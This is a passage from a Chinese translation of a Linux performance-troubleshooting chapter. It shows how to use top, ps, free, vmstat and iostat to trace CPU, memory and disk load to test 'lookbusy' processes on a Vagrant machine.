0,1 -Thread(s) per core: 1 -Core(s) per socket: 2 -Socket(s): 1 -NUMA node(s): 1 -Vendor ID: GenuineIntel -CPU family: 6 -Model: 58 -Model name: Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz -Stepping: 9 -CPU MHz: 2348.850 -BogoMIPS: 4697.70 -L1d cache: 32K -L1d cache: 32K -L2d cache: 6144K -NUMA node0 CPU(s): 0,1 - -``` - -`/proc/cpuinfo`和`lscpu`命令内容之间的区别在于`lscpu`可以很容易地识别内核、套接字和线程的数量。 从`/proc/cpuinfo`文件中识别相同的信息通常有点困难。 - -### ps -使用 ps 深入研究各个进程 - -虽然可以使用`top`命令查看各个进程,但我个人认为`ps`命令更适合于调查正在运行的进程。 在[第二章](02.html#I3QM2-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 2. Troubleshooting Commands and Sources of Useful Information")、*故障诊断命令和有用信息来源*中,我们介绍了`ps`命令,以及如何使用它来查看正在运行的进程的许多不同方面。 - -在本章中,我们将使用`ps`命令来更深入地研究进程`3001`,我们用`top`命令确定它是占用最多 CPU 时间的进程。 - -```sh -$ ps -lf 3001 -F S UID PID PPID C PRI NI ADDR SZ WCHAN STIME TTY TIME CMD -1 S vagrant 3001 3000 73 80 0 - 1849 hrtime 01:34 pts/1 892:23 lookbusy --cpu-mode curve --cpu-curve-peak 14h -c 20-80 - -``` - -在[第二章](02.html#I3QM2-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 2. Troubleshooting Commands and Sources of Useful Information")、*故障诊断命令和有用信息来源*中,我们讨论了使用`ps`命令显示正在运行的进程。 在前面的示例中,我们指定了两个标志,分别在[第二章](02.html#I3QM2-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 2. Troubleshooting Commands and Sources of Useful Information")、*故障诊断命令和有用信息来源*、`-l`(长列表)和`–f`(完整格式)中显示。 在本章中,我们讨论了这些标志如何为显示的进程提供额外的细节。 - -为了更好地理解上述过程,让我们分解这两个标志提供的额外细节。 - -* 当前状态:`S`(可中断睡眠) -* 用户:`vagrant` -* 进程 ID:`3001` -* 父进程 ID:`3000` -* 优先级值:`80` -* 美好程度:`0` -* 正在执行的命令:`lookbusy –cpu-mode-curve –cpu-curve-peak 14h –c 20-80` - -在前面的`top`命令中,该进程几乎占用了一个满的 CPU,这意味着该进程可能与所报告的慢速有关。 通过查看上面的细节,我们可以确定关于这个过程的一些事情。 - -首先,它是流程`3000`的子流程; 是由父进程 ID 决定的。 第二种情况是,当我们运行`ps`命令时,它正在等待任务完成; 我们可以通过进程当前所处的可中断睡眠状态来确定这一点。 - -除了这两项之外,我们可以看出该进程的调度优先级并不高。 我们可以通过查看优先级值来确定这一点,在本例中优先级值为 80。 调度优先级系统的工作原理如下:序号越高,进程在系统调度程序中的优先级越低。 - -我们还可以看到,nice 级别被设置为默认的`0`。 这意味着用户没有将 nice 级别调整到更高(或更低)的优先级。 - -这些都是需要收集的关于这个过程的重要的数据点,但它们本身并不能回答这个过程是否是所报道的缓慢的原因。 - -#### 使用 ps 来确定进程 CPU 利用率 - -因为我们知道【显示】流程`3001`是`3000`孩子的过程,我们不应该只看同样的信息过程`3000`也使用`ps`识别多少 CPU 过程`3000`使用。 我们可以通过使用`ps`的`-o`(选项)标志在一个命令中完成这一切。 这个标志允许你指定自己的输出格式; 它还允许您查看不总是通过常见的`ps`标志可见的字段。 - -在下面的命令中,使用`–o`标志格式化`ps`命令的输出,其中包含`%cpu`字段。 这个额外的字段将显示进程的 CPU 利用率。 该命令还将使用`–p`标志指定进程`3000`和进程`3001`。 - -```sh -$ ps -o state,user,pid,ppid,nice,%cpu,cmd -p 3000,3001 -S USER PID PPID NI %CPU CMD -S vagrant 3000 2980 0 0.0 lookbusy --cpu-mode curve --cpu- curve-peak 14h -c 20-80 -R vagrant 3001 3000 0 71.5 lookbusy --cpu-mode curve --cpu- curve-peak 14h -c 20-80 - -``` - -虽然上面的命令相当长,但它显示了`–o`标志的有用性。 有了正确的选项,仅使用`ps`命令就有可能找到关于进程的大量信息。 - -从上面命令的输出中,我们可以看到进程`3000`是`lookbusy`命令的另一个实例。 我们还可以看到,进程`3000`是进程`2980`的子进程。 在进一步讨论之前,我们应该尝试确定与过程`3001`相关的所有过程。 - -我们可以通过使用带有`--forest`标志的`ps`命令来做到这一点,该命令告诉`ps`以树格式打印父进程和子进程。 当提供了`–e`(一切)标志时,`ps`命令将以这种树格式打印所有进程。 - -### 提示 - -默认情况下,`ps`命令只打印与执行该命令的用户相关的进程。 标志将此行为更改为打印所有可能的进程。 - -下面的输出被截断以明确标识`lookbusy`进程。 - -```sh -$ ps --forest -eo user,pid,ppid,%cpu,cmd -root 1007 1 0.0 /usr/sbin/sshd -D -root 2976 1007 0.0 \_ sshd: vagrant [priv] -vagrant 2979 2976 0.0 \_ sshd: vagrant@pts/1 -vagrant 2980 2979 0.0 \_ -bash -vagrant 3000 2980 0.0 \_ lookbusy --cpu-mode curve - -cpu-curve-peak 14h -c 20-80 -vagrant 3001 3000 70.4 \_ lookbusy --cpu-mode curve --cpu-curve-peak 14h -c 20-80 -vagrant 3002 3000 14.6 \_ lookbusy --cpu-mode curve --cpu-curve-peak 14h -c 20-80 - -``` - -从上面的`ps`输出可以看到,ID 为`3000`的`lookbusy`进程产生了两个进程,即`3001`和`3002`。 我们还可以看到当前通过 SSH 登录的流浪用户启动了`lookbusy`进程。 - -由于使用`ps`中的`–o`标志来显示 CPU 利用率,我们可以看到进程`3002`正在使用单个 CPU 的`14.6%`。 - -### 提示 - -需要注意的是,`ps`命令还显示单个处理器的 CPU 时间百分比,这意味着使用多个处理器的进程的值可能高于 100%。 - -## 把它们放在一起 - -现在我们已经学习了识别系统 CPU 利用率的命令,让我们将它们放在一起总结一下所发现的内容。 - -### 快速看一看 - -确定与 CPU 性能相关的问题的第一步是执行`top`命令。 - -```sh -$ top - -top - 01:50:36 up 23:41, 2 users, load average: 0.68, 0.56, 0.48 -Tasks: 107 total, 4 running, 103 sleeping, 0 stopped, 0 zombie -%Cpu(s): 34.5 us, 0.7 sy, 0.0 ni, 64.9 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st -KiB Mem: 502060 total, 231168 used, 270892 free, 764 buffers -KiB Swap: 1081340 total, 0 used, 1081340 free. 94628 cached Mem - - PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND - 3001 vagrant 20 0 7396 724 508 R 68.8 0.1 993:06.80 lookbusy - 3002 vagrant 20 0 7396 724 508 S 1.0 0.1 198:58.16 lookbusy - 12 root 20 0 0 0 0 S 0.3 0.0 3:47.55 rcuos/0 - 13 root 20 0 0 0 0 R 0.3 0.0 3:38.85 rcuos/1 - 2718 vagrant 20 0 131524 2536 1344 R 0.3 0.5 0:02.28 sshd - -``` - -从`top`的输出可以看出: - -* 总的来说,系统大约有 60%-70%处于空闲状态 -* 有两个进程在运行`lookbusy`命令/程序,其中一个似乎占用了单个 CPU 的 70% - * 考虑到这个单独进程的 CPU 利用率和系统 CPU 利用率,所讨论的服务器很可能有多个 CPU - * 我们可以使用`lscpu`命令确认存在多个 cpu -* 进程 3001 和 3002 是这个系统上占用 CPU 最多的两个进程 -* CPU 等待状态百分比为 0,这意味着问题不太可能与磁盘 I/O 相关 - -#### 深度挖掘与 ps - -由于我们从`top`命令的输出中将`3001`和`3002`确定为可疑的进程,我们可以使用`ps`命令进一步调查这些进程。 为了保持快速的调查,我们将使用带有`–o`和`--forest`标志的`ps`命令,用一个命令识别最大可能的信息。 - -```sh -$ ps --forest -eo user,pid,ppid,%cpu,cmd -root 1007 1 0.0 /usr/sbin/sshd -D -root 2976 1007 0.0 \_ sshd: vagrant [priv] -vagrant 2979 2976 0.0 \_ sshd: vagrant@pts/1 -vagrant 2980 2979 0.0 \_ -bash -vagrant 3000 2980 0.0 \_ lookbusy --cpu-mode curve --cpu-curve-peak 14h -c 20-80 -vagrant 3001 3000 69.8 \_ lookbusy --cpu-mode curve --cpu-curve-peak 14h -c 20-80 -vagrant 3002 3000 13.9 \_ lookbusy --cpu-mode curve --cpu-curve-peak 14h -c 20-80 - -``` - -从这个输出,我们可以确定以下内容: - -* 进程 3001 和 3002 是进程 3000 的子进程 -* 进程 3000 由`vagrant`用户启动 -* `lookbusy`命令似乎是一个占用大量 CPU 的命令 -* 用于启动`lookbusy`的方法不是指示一个系统进程,而是指示一个用户运行一个特别命令 - -根据上面的信息,有可能`vagrant`用户启动的`lookbusy`进程是性能问题的根源。 如果系统通常以较低的 CPU 利用率运行,那么这是一个合理的根本原因假设。 然而,考虑到我们对这个系统不是很熟悉,也有可能`lookbusy`进程使用了几乎一个完整的 CPU 是正常的。 - -考虑到我们不熟悉系统的正常运行情况,在得出结论之前,我们应该继续调查其他可能的性能问题来源。 - -## 内存 - -除应用和 CPU 利用率外,内存利用率是性能下降的一个非常常见的原因。 在 CPU 部分,我们非常广泛地使用了`top`,虽然`top`也可以用来识别系统和进程的内存利用率,但在本节中,我们将使用其他命令。 - -### free -查看空闲内存和已用内存 - -正如在[第二章](02.html#I3QM2-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 2. Troubleshooting Commands and Sources of Useful Information")、*故障诊断命令和有用信息来源*中所讨论的,`free`命令只是打印系统当前的内存可用性和使用情况。 - -当不带标志执行时,`free`命令将以千字节为单位输出其值。 要获得以兆字节为单位的输出,只需使用-m(兆字节)标志执行`free`命令。 - -```sh -$ free -m - total used free shared buffers cached -Mem: 490 92 397 1 0 17 --/+ buffers/cache: 74 415 -Swap: 1055 57 998 - -``` - -`free`命令显示了关于这个系统的相当多的信息,以及正在使用的内存数量。 为了更好地理解这个命令,让我们分解一下输出。 - -由于输出中有多行,我们将从输出头文件后的第一行开始: - -```sh -Mem: 490 92 397 1 0 17 - -``` - -这一行中的第一个值是系统可用的**物理内存**的总量。 在我们的示例中,这是 490 MB。第二个值是系统使用的**内存数量**。 第三个值是系统上未使用的**内存量**; 注意,我使用的术语是“未使用的”而不是“可用的”。 第四个值是**共享内存**所使用的内存量; 除非您的系统经常使用共享内存,否则这个数字通常很低。 - -第五个值是用于**buffers**的内存数量。 Linux 经常试图通过将经常使用的磁盘信息放入物理内存来加速磁盘访问。 缓冲区内存通常是文件系统元数据。 缓存内存**正好是第六个值,它是频繁访问文件的内容。** - - **#### Linux 内存缓冲区和缓存 - -Linux 通常会尝试使用“未使用的”内存作为缓冲区和缓存。 这意味着为了提高效率,Linux 内核将经常访问的文件数据和文件系统元数据存储在未使用的内存中。 这允许系统利用本来不会用于增强通常比系统内存慢的磁盘访问的内存。 - -这就是为什么第三个值“未使用的”内存通常比预期的要少。 - -然而,当系统的未使用内存不足时,Linux 内核将根据需要释放缓冲区和缓存内存。 这意味着,即使在技术上,缓冲区和缓存所使用的内存也被使用了,但在技术上,当系统需要时,它是可用的。 - -这把我们带到自由输出的第二行。 - -```sh --/+ buffers/cache: 74 415 - -``` - -第二行有两个值,第一行是**Used**列的一部分,第二行是**Free**或“unused”列的一部分。 在考虑了缓冲区和缓存内存的可用性之后,这些值是 Used 或 Free 内存值。 - -用更简单的术语解释,第二行上的 Used 值是第一行中使用的内存值减去缓冲区和缓存值的结果。 对于我们的示例,它是 92 MB(使用)减去 17 MB(缓存)。 - -第二行中的空闲值是第一行中添加缓冲区和缓存内存的空闲值的结果。 使用我们示例中的值,这将是 397 MB(空闲)加上 17 MB(缓存)。 - -#### 交换内存 - -`free`命令的输出中的第三行用于交换内存。 - -```sh -Swap: 1055 57 998 - -``` - -在这一行中,有三个列:可用的、使用的和免费的。 交换内存值是相当容易理解的。 可用交换值是系统可用的交换内存数量,使用值是当前分配的交换内存数量,而空闲值实质上是可用交换内存数量减去分配的交换内存数量。 - -在许多环境中,不赞成分配大量的交换空间,因为这通常表明系统已经耗尽了内存,并使用交换空间进行补偿。 - -#### 免费告诉我们什么关于我们的系统 - -如果我们再次查看 free 的输出,我们可以确定关于这个服务器的许多事情。 - -```sh -$ free -m - total used free shared buffers cached -Mem: 490 105 385 1 0 25 --/+ buffers/cache: 79 410 -Swap: 1055 56 999 - -``` - -我们可以确定只有少量的内存(79 MB)在实际使用。 这意味着总的来说,系统应该有足够的内存供进程使用。 - -然而,还有一个有趣的事实,在第三行,它显示了**56**MB 的内存被写入了交换。 虽然系统上目前有足够的可用内存,但已经写入了 56 MB 用于交换。 这意味着在过去的某个时候,系统的内存可能很低,低到系统必须将内存页面从物理内存交换到交换内存。 - -### 检查 oomkill - -当 Linux 系统耗尽物理内存时,它首先尝试重用分配给缓冲区和缓存的内存。 如果没有额外的内存可以从这些源中回收,那么内核将从物理内存中提取旧的内存页,并将它们写入交换内存。 一旦分配了物理内存和交换内存,内核将启动**内存耗尽杀手**(**oomkill**)进程。 `oomkill`进程被设计用来寻找占用大量内存的进程并杀死(停止)它们。 - -通常,在大多数环境中都不需要`oomkill`进程。 当被调用时,`oomkill`进程可以杀死许多不同类型的进程。 无论进程是系统的一部分还是在用户级别,`oomkill`都具有杀死它们的能力。 - -对于可能影响内存利用率的性能问题,检查`oomkill`进程最近是否被调用总是一个好主意。 确定`oomkill`最近是否运行的最简单的方法是查看系统控制台,因为该进程的启动被直接记录到系统控制台。 然而,在云和虚拟环境中,控制台可能不可用。 - -确定最近是否调用了`oomkill`的另一种好方法是搜索`/var/log/messages`日志文件。 我们可以通过执行`grep`命令并搜索字符串`Out of memory`来实现这一点。 - -```sh -# grep "Out of memory" /var/log/messages - -``` - -对于我们的示例系统,最近没有`oomkill`调用。 如果我们的系统已经调用了`oomkill`进程,我们可以期望得到类似如下的消息: - -```sh -# grep "Out of memory" /var/log/messages -Feb 7 19:38:45 localhost kernel: Out of memory: Kill process 3236 (python) score 838 or sacrifice child - -``` - -在[第 11 章](11.html#26I9K2-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 11. Recovering from Common Failures"),*从常见故障中恢复*中,我们将再次研究内存问题,深入了解`oomkill`及其工作原理。 对于本章,我们可以得出结论,系统并没有完全耗尽可用内存。 - -### ps -检查各个进程的内存利用率 - -到目前为止,这个系统上的内存使用量似乎很小,但是我们从 CPU 验证步骤中知道,运行`lookbusy`的进程是可疑的,可能会导致我们的性能问题。 既然我们怀疑`lookbusy`进程是一个问题,我们也应该看看这些进程使用了多少内存。 为此,我们可以再次使用带有`-o`标志的`ps`命令。 - -```sh -$ ps -eo user,pid,ppid,%mem,rss,vsize,comm | grep lookbusy -vagrant 3000 2980 0.0 4 7396 lookbusy -vagrant 3001 3000 0.0 296 7396 lookbusy -vagrant 3002 3000 0.0 220 7396 lookbusy -vagrant 5380 2980 0.0 8 7396 lookbusy -vagrant 5381 5380 0.0 268 7396 lookbusy -vagrant 5382 5380 0.0 268 7396 lookbusy -vagrant 5383 5380 40.7 204812 212200 lookbusy -vagrant 5531 2980 0.0 40 7396 lookbusy -vagrant 5532 5531 0.0 288 7396 lookbusy -vagrant 5533 5531 0.0 288 7396 lookbusy -vagrant 5534 5531 34.0 170880 222440 lookbusy - -``` - -然而,这一次我们运行`ps`命令的方式略有不同,因此得到了不同的结果。 在执行`ps`命令的这个时间,我们使用`–e`(一切)标志来显示所有进程。 然后,结果通过管道传输到`grep`,以便将其过滤到仅匹配模式`lookbusy`的进程。 - -这是使用`ps`命令的一种非常常见的方式; 事实上,它甚至比在命令行上指定进程 ID 更常见。 除了使用`grep`之外,这个`ps`命令示例还引入了一些新的格式化选项。 - -* **%mem**:这是进程正在使用的系统内存的百分比。 -* **rss**:这是进程的驻留站点大小,本质上意味着进程所使用的不可交换的内存数量。 -* **vsize**:这是虚拟内存大小; 它包含进程正在完全使用的内存量,而不管该内存是物理内存的一部分还是交换内存的一部分。 -* **comm**:这个选项类似于 cmd,只是它不显示命令行参数。 - -`ps`示例显示了有趣的信息,特别是以下几行: - -```sh -vagrant 5383 5380 40.7 204812 212200 lookbusy -vagrant 5534 5531 34.0 170880 222440 lookbusy - -``` - -似乎已经启动了几个其他的`lookbusy`进程,这些进程正在使用 40%和 34%的系统内存(通过使用`%mem`列)。 从 rss 栏中,我们可以看到这两个进程使用了总共 490 MB 的物理内存中的 374 MB。 - -似乎在我们开始调查之后,这些进程开始使用大量的内存。 最初,我们的空闲输出声明只有 70 MB 的内存在使用; 然而,这些过程似乎要利用更多。 我们可以通过再次自由奔跑来证实这一点。 - -```sh -$ free -m - total used free shared buffers cached -Mem: 490 453 37 0 0 3 --/+ buffers/cache: 449 41 -Swap: 1055 310 745 - -``` - -实际上,我们的系统正在利用几乎所有的内存; 实际上,我们还使用了 310mb 的交换空间。 - -### vmstat -监控内存分配和交换 - -由于该系统似乎有波动的内存利用率,因此有一个非常有用的命令,它显示内存分配和回收,以及定期交换的页面数量。 这个命令称为`vmstat`。 - -```sh -$ vmstat -n 10 5 -procs -----------memory---------- ---swap-- -----io---- -system-- ------cpu----- -r b swpd free buff cache si so bi bo in cs us sy id wa st -5 0 204608 31800 0 7676 8 6 12 6 101 131 44 1 55 0 0 -1 0 192704 35816 0 2096 1887 130 4162 130 2080 2538 53 6 39 2 0 -1 0 191340 32324 0 3632 1590 57 3340 57 2097 2533 54 5 41 0 0 -4 0 191272 32260 0 5400 536 2 2150 2 1943 2366 53 4 43 0 0 -3 0 191288 34140 0 4152 392 0 679 0 1896 2366 53 3 44 0 0 - -``` - -在上面的例子中,`vmstat`命令执行`-n`(一个头)旗其次是延迟秒(10)和报告生成的数量(5)。这些选项告诉`vmstat`为这个执行只输出一个标题行而不是一个新的标题行对于每一个报告,报告每 10 秒,运行 并将报告数量限制在 5 份以内。 如果忽略了对报告数量的限制,那么`vmstat`将简单地连续运行,直到使用*CTRL*+*C*停止。 - -起初,`vmstat`的输出可能有点让人不知所措,但如果我们分解输出,就会更容易理解。 `vmstat`的输出有六个输出类别,分别是 Procs、Memory、Swap、IO、System 和 CPU。 在本节中,我们将重点讨论其中的两个类别:内存和交换。 - -* **内存** - * `swpd`:写入交换的内存数量 - * `free`:未使用的内存数量 - * `buff`:用作缓冲区的内存数量 - * `cache`:用作缓存的内存数量 - * `inact`:未激活内存数量 - * `active`:活动内存数量 -* **Swap** - * `si`:从磁盘交换的内存数量 - * `so`:交换到磁盘的内存数量 - -现在我们有了这些值的定义,让我们看看关于这个系统的内存使用,`vmstat`的输出告诉了我们什么。 - -```sh -procs -----------memory---------- ---swap-- -----io---- -system-- ------cpu----- - r b swpd free buff cache si so bi bo in cs us sy id wa st - 5 0 204608 31800 0 7676 8 6 12 6 101 131 44 1 55 0 0 - 1 0 192704 35816 0 2096 1887 130 4162 130 2080 2538 53 6 39 2 0 - -``` - -如果我们比较第一行和`vmstat's`输出的第二行,我们可以看到一个相当大的差异。 特别地,我们可以看到在第一个间隔中,缓存内存是`7676`,而在第二个间隔中,这个值是 2096。 我们还可以看到,第一行中的`si`或交换值是 8,而第二行是 1887。 - -产生这种差异的原因是`vmstat`的第一个报告总是自上次重启以来的统计摘要,而第二个报告是自上次报告以来的统计摘要。 随后的每个报告都是前一个报告的摘要,这意味着第三个报告将总结自第二次报告以来的统计数据。 `vmstat`的这种行为常常会引起新系统管理员和用户的混淆; 因此,它通常被认为是一种高级故障排除工具。 - -由于`vmstat`生成第一份报告的方法,通常的做法是将其丢弃,从第二份报告开始。 我们将遵循这一理念,具体地看一看第二和第三份报告。 - -```sh -procs -----------memory---------- ---swap-- -----io---- -system-- ------cpu----- - r b swpd free buff cache si so bi bo in cs us sy id wa st - 5 0 204608 31800 0 7676 8 6 12 6 101 131 44 1 55 0 0 - 1 0 192704 35816 0 2096 1887 130 4162 130 2080 2538 53 6 39 2 0 - 1 0 191340 32324 0 3632 1590 57 3340 57 2097 2533 54 5 41 0 0 - -``` - -在第二和第三份报告中,我们可以看到一些有趣的数据。 - -首先要注意的是,从第一个报告的生成时间到第二个报告的生成时间,总共交换了 1887 页,交换了 130 页。 第二个报告还显示只有 35 MB 的内存是空闲的,其中 0 MB 内存在缓冲区中,2 MB 内存在缓存中。 根据 Linux 使用内存的方式,这意味着该系统上实际上只有 37mb 可用内存。 - -这种低数量的可用内存解释了为什么我们的系统要交换大量的页面。 从第三行我们可以看到,这个趋势还在继续,我们继续交换了相当多的页面,我们的可用内存已经减少到大约 35mb。 - -从这个`vmstat`的示例中,我们可以看到我们的系统现在正在耗尽物理内存。 因此,我们的系统从物理 RAM 中获取内存页并将其写入交换设备。 - -### 把它们放在一起 - -现在我们已经了解了对内存利用率进行故障排除所需的工具,让我们将它们放在一起来解决系统性能变慢的问题。 - -#### 查看系统的空闲内存利用率 - -提供系统内存利用率快照的第一个命令是`free`命令。 这个命令将告诉我们从哪里进一步查找内存使用问题。 - -```sh -$ free -m - total used free shared buffers cached -Mem: 490 293 196 0 0 18 --/+ buffers/cache: 275 215 -Swap: 1055 183 872 - -``` - -从`free`的输出中,我们可以看到目前有 215 MB 可用内存。 我们可以通过第二行的`free`列看到这一点。 我们还可以看到,总的来说,这个系统有 183mb 的内存已经交换到我们的交换设备。 - -#### 观察 vmstat 发生了什么 - -由于系统在某个时刻已经交换了(或者更确切地说,分页),我们可以使用`vmstat`命令来查看系统是否正在交换。 - -这一次在执行`vmstat`时,我们将省略报告值的数量,这将导致`vmstat`持续报告内存统计信息,类似于 top 命令的输出。 - -```sh -$ vmstat -n 10 -procs -----------memory---------- ---swap-- -----io---- -system-- ------cpu----- - r b swpd free buff cache si so bi bo in cs us sy id wa st - 4 0 188008 200320 0 19896 35 8 61 9 156 4 44 1 55 0 0 - 4 0 188008 200312 0 19896 0 0 0 0 1361 1314 36 2 62 0 0 - 2 0 188008 200312 0 19896 0 0 0 0 1430 1442 37 2 61 0 0 - 0 0 188008 200312 0 19896 0 0 0 0 1431 1418 37 2 61 0 0 - 0 0 188008 200280 0 19896 0 0 0 0 1414 1416 37 2 61 0 0 - 2 0 188008 200280 0 19896 0 0 0 0 1456 1480 37 2 61 0 0 - -``` - -这个`vmstat`输出与前面的执行不同。 从这个输出中,我们可以看到,虽然有相当多的内存交换,但系统目前没有交换。 我们可以通过`si`(swap in)和`si`(swap out)列中的 0 值来确定。 - -事实上,在这个`vmstat`运行期间,内存利用率看起来很稳定。 每个`vmstat`报告之间的`free`内存值以及缓存和缓冲内存统计数据相当一致。 - -#### 使用 ps 查找占用内存最多的进程 - -我们的系统有 490 MB 的物理内存,`free`和`vmstat`都显示大约有 215 MB 可用内存。 这意味着超过一半的系统内存目前被利用; 在这种使用级别下,最好找出哪些进程正在使用系统的内存。 如果没有其他作用,这些数据将有助于显示系统的当前状态。 - -要确定使用最多内存的进程,可以使用`ps`命令以及 sort 和 tail 命令。 - -```sh -# ps -eo rss,vsize,user,pid,cmd | sort -nk 1 | tail -n 5 - 1004 115452 root 5073 -bash - 1328 123356 root 5953 ps -eo rss,vsize,user,pid,cmd - 2504 525652 root 555 /usr/sbin/NetworkManager --no-daemon - 4124 50780 root 1 /usr/lib/systemd/systemd --switched-root --system --deserialize 23 -204672 212200 vagrant 5383 lookbusy -m 200MB -c 10 - -``` - -上面的示例使用管道将`ps`的输出重定向到 sort 命令。 sort 命令对第一列(`-k 1`)执行数字(`-n`)排序。 这将产生对输出进行分类的效果,将具有最高`rss`尺寸的过程放在底部。 在`sort`命令之后,输出还通过管道传递到`tail`命令,当使用`-n`(number)标志加上一个数字进行指定时,输出将限制为只包含指定数量的结果。 - -### 提示 - -如果将命令与管道链接在一起的概念是新的,那么我强烈建议您实践这种方法,因为它对于日常的`sysadmin`任务以及故障排除期间非常有用。 我们将在本书中讨论这个概念并多次提供例子。 - -```sh -204672 212200 vagrant 5383 lookbusy -m 200MB -c 10 - -``` - -从`ps`的输出中,我们可以看到进程 5383 使用了大约 200 MB 的内存。 我们还可以看到,该进程是另一个`lookbusy`进程,它也是由流浪用户生成的。 - -由 free,`vmstat`,`ps`的输出,我们可以得出: - -* 系统目前大约有 200 MB 可用内存 -* 虽然系统目前没有交换,但它过去曾经交换过,并且根据我们之前从`vmstat`中看到的情况,我们知道它最近正在交换 -* 我们发现进程`5383`占用了大约 200 MB 的内存 -* 我们还可以看到进程`5383`是由`vagrant`用户启动的,并且正在运行`lookbusy`进程 -* 使用`free`命令,我们可以看到这个系统有 490 MB 的物理内存 - -根据上述信息,似乎由`vagrant`用户执行的`lookbusy`进程不仅是 CPU 的可疑用户,而且也是内存的可疑用户。 - -## 磁盘 - -磁盘利用率是另一个常见的性能瓶颈。 通常,性能问题很少是由于磁盘空间的数量造成的。 虽然我见过由于大量文件或大尺寸文件而导致的性能问题,但通常情况下,磁盘性能受到磁盘写入和读取量的限制。 因此,虽然在诊断性能问题时知道文件系统是否已满很重要,但单单文件系统使用情况并不总是表明是否存在问题。 - -### iostat - CPU 和设备的输入/输出统计 - -`iostat`命令是诊断磁盘性能问题的基本命令,在使用情况和它提供的信息方面与 vmstat 类似。 与`vmstat`一样,`iostat`在执行时后面跟着两个数字,第一个是生成报告的延迟时间,第二个是生成报告的数量。 - -```sh -$ iostat -x 10 3 -Linux 3.10.0-123.el7.x86_64 (blog.example.com) 02/08/2015 _x86_64_ (2 CPU) - -avg-cpu: %user %nice %system %iowait %steal %idle - 43.58 0.00 1.07 0.16 0.00 55.19 - -Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util -sda 12.63 3.88 8.47 3.47 418.80 347.40 128.27 0.39 32.82 0.80 110.93 0.47 0.56 -dm-0 0.00 0.00 16.37 3.96 65.47 15.82 8.00 0.48 23.68 0.48 119.66 0.09 0.19 -dm-1 0.00 0.00 4.73 3.21 353.28 331.71 172.51 0.39 48.99 1.07 119.61 0.54 0.43 - -avg-cpu: %user %nice %system %iowait %steal %idle - 20.22 0.00 20.33 22.14 0.00 37.32 - -Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util -sda 0.10 13.67 764.97 808.68 71929.34 78534.73 191.23 62.32 39.75 0.74 76.65 0.42 65.91 -dm-0 0.00 0.00 0.00 0.10 0.00 0.40 8.00 0.01 70.00 0.00 70.00 70.00 0.70 -dm-1 0.00 0.00 765.27 769.76 71954.89 78713.17 196.31 64.65 42.25 0.74 83.51 0.43 66.46 - -avg-cpu: %user %nice %system %iowait %steal %idle - 18.23 0.00 15.56 29.26 0.00 36.95 - -Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util -sda 0.10 7.10 697.50 440.10 74747.60 42641.75 206.38 74.13 66.98 0.64 172.13 0.58 66.50 -dm-0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 -dm-1 0.00 0.00 697.40 405.00 74722.00 40888.65 209.74 75.80 70.63 0.66 191.11 0.61 67.24 - -``` - -在上面的示例中,提供了`–x`(扩展统计信息)标志来打印扩展统计信息。 扩展的统计信息非常有用,它提供了对于识别性能瓶颈至关重要的附加信息。 - -#### CPU 细节 - -`iostat`命令将显示 CPU 统计信息以及 I/O 统计信息。 这是另一个用来解决 CPU 利用率问题的命令。 当 CPU 利用率显示高 I/O 等待时间时,这特别有用。 - -```sh -avg-cpu: %user %nice %system %iowait %steal %idle - 20.22 0.00 20.33 22.14 0.00 37.32 - -``` - -以上信息与从`top`命令中显示的信息相同; 在 Linux 中,找到多个输出类似信息的命令并不少见。 由于这些细节已经在 CPU 故障排除一节中介绍过,所以我们将重点关注`iostat`命令的 I/O 统计部分。 - -#### 查看 I/O 统计信息 - -为了开始查看 I/O 统计数据,让我们从前两个报告开始。 我将 CPU 利用率包括在下面,以帮助说明每个报告的起始位置,因为它是每个统计报告的第一项。 - -```sh -avg-cpu: %user %nice %system %iowait %steal %idle - 43.58 0.00 1.07 0.16 0.00 55.19 - -Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util -sda 12.63 3.88 8.47 3.47 418.80 347.40 128.27 0.39 32.82 0.80 110.93 0.47 0.56 -dm-0 0.00 0.00 16.37 3.96 65.47 15.82 8.00 0.48 23.68 0.48 119.66 0.09 0.19 -dm-1 0.00 0.00 4.73 3.21 353.28 331.71 172.51 0.39 48.99 1.07 119.61 0.54 0.43 - -avg-cpu: %user %nice %system %iowait %steal %idle - 20.22 0.00 20.33 22.14 0.00 37.32 - -Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util -sda 0.10 13.67 764.97 808.68 71929.34 78534.73 191.23 62.32 39.75 0.74 76.65 0.42 65.91 -dm-0 0.00 0.00 0.00 0.10 0.00 0.40 8.00 0.01 70.00 0.00 70.00 70.00 0.70 -dm-1 0.00 0.00 765.27 769.76 71954.89 78713.17 196.31 64.65 42.25 0.74 83.51 0.43 66.46 - -``` - -通过比较前两份报告,我们发现它们之间有很大的差异。 第一次报告中`sda`设备的`%util`值为`0.56`,第二次报告中为`65.91`。 - -产生这种差异的原因是,与`vmstat`的情况一样,`iostat`第一次执行的统计数据基于服务器最后一次重新启动的时间。 第二个报告是基于第一个报告之后的时间。 这意味着第二个报告的输出基于第一次和第二次报告生成之间的 10 秒。 这是在`vmstat`中看到的相同行为,也是收集性能统计数据的其他工具的常见行为。 - -与`vmstat`一样,我们将丢弃第一份报告,只看第二份报告。 - -```sh -avg-cpu: %user %nice %system %iowait %steal %idle - 20.22 0.00 20.33 22.14 0.00 37.32 - -Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util -sda 0.10 13.67 764.97 808.68 71929.34 78534.73 191.23 62.32 39.75 0.74 76.65 0.42 65.91 -dm-0 0.00 0.00 0.00 0.10 0.00 0.40 8.00 0.01 70.00 0.00 70.00 70.00 0.70 -dm-1 0.00 0.00 